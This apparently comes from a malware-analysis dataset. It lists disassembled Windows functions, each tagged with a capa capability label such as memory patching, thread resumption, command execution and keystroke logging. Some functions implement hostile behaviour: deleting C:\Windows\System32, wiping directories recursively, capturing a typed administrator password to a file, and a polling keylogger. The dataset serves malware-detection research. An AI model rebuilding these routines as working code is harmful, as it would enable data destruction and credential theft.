joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180037d00
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180057040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
lea r9, [rsp + 0x20]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x180081c00]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180037d73
mov eax, 0xa
jmp 0x180037e06
test esi, esi
je 0x180037d95
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180037db8
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180037db8
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180037db1
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180037db8
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, sil
shl sil, 2
add cl, cl
xor cl, byte [rbx + 0x20]
and cl, 2
xor cl, byte [rbx + 0x20]
xor sil, cl
and sil, 4
xor sil, cl
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180042100
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180037e30
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x180081c0c]
mov ebx, edi
test ecx, ecx
je 0x180037f6b
mov rax, qword [0x180081c00]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180037e88
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180037e60
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x180037f6b
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.180037b50
mov r8d, dword [0x180081c0c]
cmp ebx, r8d
jae 0x180037ef8
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x180081c00]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x180037ef1
mov edx, esi
mov ecx, ebx
call fcn.180037d00
mov edi, eax
test eax, eax
jne 0x180037ef8
mov r8d, dword [0x180081c0c]
inc ebx
cmp ebx, r8d
jb 0x180037ec0
cmp qword [rsp + 0x20], 0
je 0x180037f6b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180037f57
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180037f48
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180037f20
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180080dd0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180038270
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x180080dc8], ebp
je 0x1800382c7
cmp rbx, 0x20
jae 0x1800382b0
xor ecx, ecx
jmp 0x1800382b2
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x180080dc8], ebp
jne 0x1800382a6
cmp qword [0x180080dd0], r15
je 0x1800383c1
test rdi, rdi
jne 0x1800382e7
mov ecx, esi
call fcn.180037e30
mov ebp, eax
jmp 0x1800383c6
mov ecx, dword [0x180081c0c]
mov ebx, r15d
test ecx, ecx
je 0x18003830f
mov r8, qword [0x180081c00]
mov rax, r8
nop
cmp rdi, qword [rax]
je 0x180038319
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180038300
mov ebp, 4
jmp 0x1800383c6
cmp ebx, 0xffffffff
je 0x18003830f
mov eax, ebx
imul rdx, rax, 0x38
movzx eax, byte [rdx + r8 + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x1800383b8
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180037b50
mov edx, esi
mov ecx, ebx
call fcn.180037d00
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x1800383c6
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x1800383a2
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180038398
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x180038370
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180080dd0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1800383c6
neg esi
sbb ebp, ebp
add ebp, 6
jmp 0x1800383c6
mov ebp, 2
xchg dword [0x180080dc8], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x180041c20
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x180057040]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp edx, 1
jne 0x180041ccf
lea rcx, str.DiscordHook64.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rax + 0xe9090]
mov qword [0x180080de8], rcx
lea rcx, [0x180038d50]
xchg qword [rax + 0xe9090], rcx
mov ecx, 8
call fcn.180042120
lea rcx, [0x180041a10]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1800420c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x180041cef
cmp dword [rsp + 0x38], 0
je 0x180041ce3
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x180041ce3
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180042100
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x1400066d0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400066e0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x1400066e0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400066e0]
mov dword [rax], 1
mov rax, qword [0x140006720]
mov rdx, rax
mov rax, qword [0x140006710]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x14000b024], 1
mov rax, qword [0x1400066e0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x140006700]
mov rdx, rax
mov rax, qword [0x1400066f0]
mov rcx, rax
call sym._initterm
mov rax, qword [0x1400066e0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x1400066d0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x140006620]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x140006620]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x1400066c0]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x14000b004]
lea rdx, [0x14000b008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x140006650]
mov rax, qword [rax]
mov rdx, qword [0x14000b010]
mov qword [rax], rdx
mov rcx, qword [0x14000b010]
mov rdx, qword [0x14000b008]
mov eax, dword [0x14000b004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14000b01c], eax
mov eax, dword [0x14000b020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14000b01c]
mov ecx, eax
call sym.exit
mov eax, dword [0x14000b024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14000b01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140006680]
mov dword [rax], 1
mov rax, qword [0x140006690]
mov dword [rax], 1
mov rax, qword [0x1400066a0]
mov dword [rax], 1
mov rax, qword [0x140006640]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000182e
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.remove
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001858
Capabilities:
Create directory

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.mkdir
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001882
Capabilities:
Delete directory

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.rmdir
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001dd6
Capabilities:
Capture network configuration via ipconfig
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.ipconfig_release
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001df4
Capabilities:
Capture network configuration via ipconfig
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.ipconfig_renew
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001e12
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.shutdown__s__t_01
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001e30
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.shutdown__r__t_01
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret
Function at 0x140001e4e
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.dir_s
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001e6c
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.netplwiz
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001e8a
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.mspaint
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001ea8
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.rundll32.exe_user32.dll_LockWorkStation
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001eda
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, str.C:__Windows__System32
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.remove_directory
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
je 0x140001f18
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.perror
mov ecx, 1
call sym.exit
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001f1f
Capabilities:
Delete directory
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.opendir
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.strlen
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x14], 0
cmp qword [rbp - 8], 0
jne 0x14000207d
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.perror
mov eax, 0xffffffff
jmp 0x1400020d1
mov rax, qword [rbp - 0x20]
add rax, 8
lea rdx, [0x14000625e]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x14000207d
mov rax, qword [rbp - 0x20]
add rax, 8
lea rdx, [0x140006260]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001fb5
jmp 0x14000207d
mov rax, qword [rbp - 0x20]
add rax, 8
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x10]
add rax, rdx
add rax, 2
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
je 0x14000207d
mov rax, qword [rbp - 0x20]
lea rcx, [rax + 8]
mov r8, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], rcx
mov r9, r8
lea r8, str._s__s
mov rcx, rax
call sym.snprintf
lea rdx, [rbp - 0x60]
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.stat
test eax, eax
jne 0x140002071
movzx eax, word [rbp - 0x5a]
movzx eax, ax
and eax, 0xf000
cmp eax, 0x4000
jne 0x14000205a
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.remove_directory
test eax, eax
je 0x140002071
mov dword [rbp - 0x14], 0xffffffff
jmp 0x140002071
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.remove
test eax, eax
je 0x140002071
mov dword [rbp - 0x14], 0xffffffff
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.readdir
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140001f76
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.closedir
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.rmdir
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
je 0x1400020cc
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.perror
mov eax, 0xffffffff
jmp 0x1400020d1
mov eax, 0
add rsp, 0x90
pop rbp
ret

Function at 0x1400020da
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
lea rdx, [0x140006269]
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x140002168
lea rax, str.Mot_de_passe_Administrateur_:
mov rcx, rax
call sym.printf
mov ecx, 0
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rdx, rax
lea rax, [rbp - 0x70]
mov r8, rdx
mov edx, 0x64
mov rcx, rax
call sym.fgets
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.fputs
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
lea rax, str.rundll32.exe_user32.dll_LockWorkStation
mov rcx, rax
call sym.system
jmp 0x140002169
nop
add rsp, 0x90
pop rbp
ret
Function at 0x140002172
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
lea rdx, [0x140006269]
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x1400021de
mov dword [rbp - 0xc], 0
nop
cmp dword [rbp - 0xc], 0xff
jg 0x1400021d0
mov ecx, 0x12
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x1400021ad
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov ecx, eax
call sym.fputc
jmp 0x1400021ad
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
jmp 0x1400021df
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002540
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140003212
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000b168]
test eax, eax
je 0x1400032aa
lea rax, [0x14000b140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000b170]
mov qword [rbp - 8], rax
jmp 0x14000328e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140003282
cmp qword [rbp - 0x10], 0
je 0x140003282
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140003248
lea rax, [0x14000b140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400032ab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400033b0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400033d8
mov eax, 0
jmp 0x140003426
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140003401
mov eax, 0
jmp 0x140003426
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140003421
mov eax, 0
jmp 0x140003426
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14000342c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400034aa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400034a1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400034a1
mov rax, qword [rbp - 8]
jmp 0x1400034bf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140003474
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400038a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe0], rcx
call sym._errno
mov dword [rax], 0
cmp qword [rbp + 0xe0], 0
jne 0x1400038e2
call sym._errno
mov dword [rax], 0xe
mov eax, 0
jmp 0x140003af2
mov rax, qword [rbp + 0xe0]
movzx eax, byte [rax]
test al, al
jne 0x140003905
call sym._errno
mov dword [rax], 0x14
mov eax, 0
jmp 0x140003af2
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0xbc], eax
cmp dword [rbp + 0xbc], 0xffffffff
jne 0x14000393c
call sym._errno
mov dword [rax], 2
mov eax, 0
jmp 0x140003af2
mov eax, dword [rbp + 0xbc]
and eax, 0x10
test eax, eax
jne 0x14000395e
call sym._errno
mov dword [rax], 0x14
mov eax, 0
jmp 0x140003af2
mov rdx, qword [rbp + 0xe0]
lea rax, [rbp - 0x60]
mov r8d, 0x104
mov rcx, rax
call sym._fullpath
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
add rax, 0x24b
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
jne 0x1400039b7
call sym._errno
mov dword [rax], 0xc
mov eax, 0
jmp 0x140003af2
mov rax, qword [rbp + 0xb0]
lea rcx, [rax + 0x244]
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.strcpy
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + 0x244]
test al, al
je 0x140003a59
mov rax, qword [rbp + 0xb0]
add rax, 0x244
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + rdx + 0x244]
cmp al, 0x2f
je 0x140003a59
mov rax, qword [rbp + 0xb0]
add rax, 0x244
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + rdx + 0x244]
cmp al, 0x5c
je 0x140003a59
mov rax, qword [rbp + 0xb0]
lea rbx, [rax + 0x244]
mov rcx, rbx
call sym.strlen
add rax, rbx
mov word [rax], 0x5c
mov rax, qword [rbp + 0xb0]
lea rbx, [rax + 0x244]
mov rcx, rbx
call sym.strlen
add rax, rbx
mov word [rax], 0x2a
mov rax, qword [rbp + 0xb0]
mov qword [rax + 0x238], 0xffffffffffffffff
mov rax, qword [rbp + 0xb0]
mov dword [rax + 0x240], 0
mov rax, qword [rbp + 0xb0]
mov dword [rax + 0x128], 0
mov rax, qword [rbp + 0xb0]
mov word [rax + 0x12c], 0
mov rax, qword [rbp + 0xb0]
mov word [rax + 0x12e], 0
mov rax, qword [rbp + 0xb0]
add rax, 0x130
mov r8d, 0x104
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xb0]
add rsp, 0x148
pop rbx
pop rbp
ret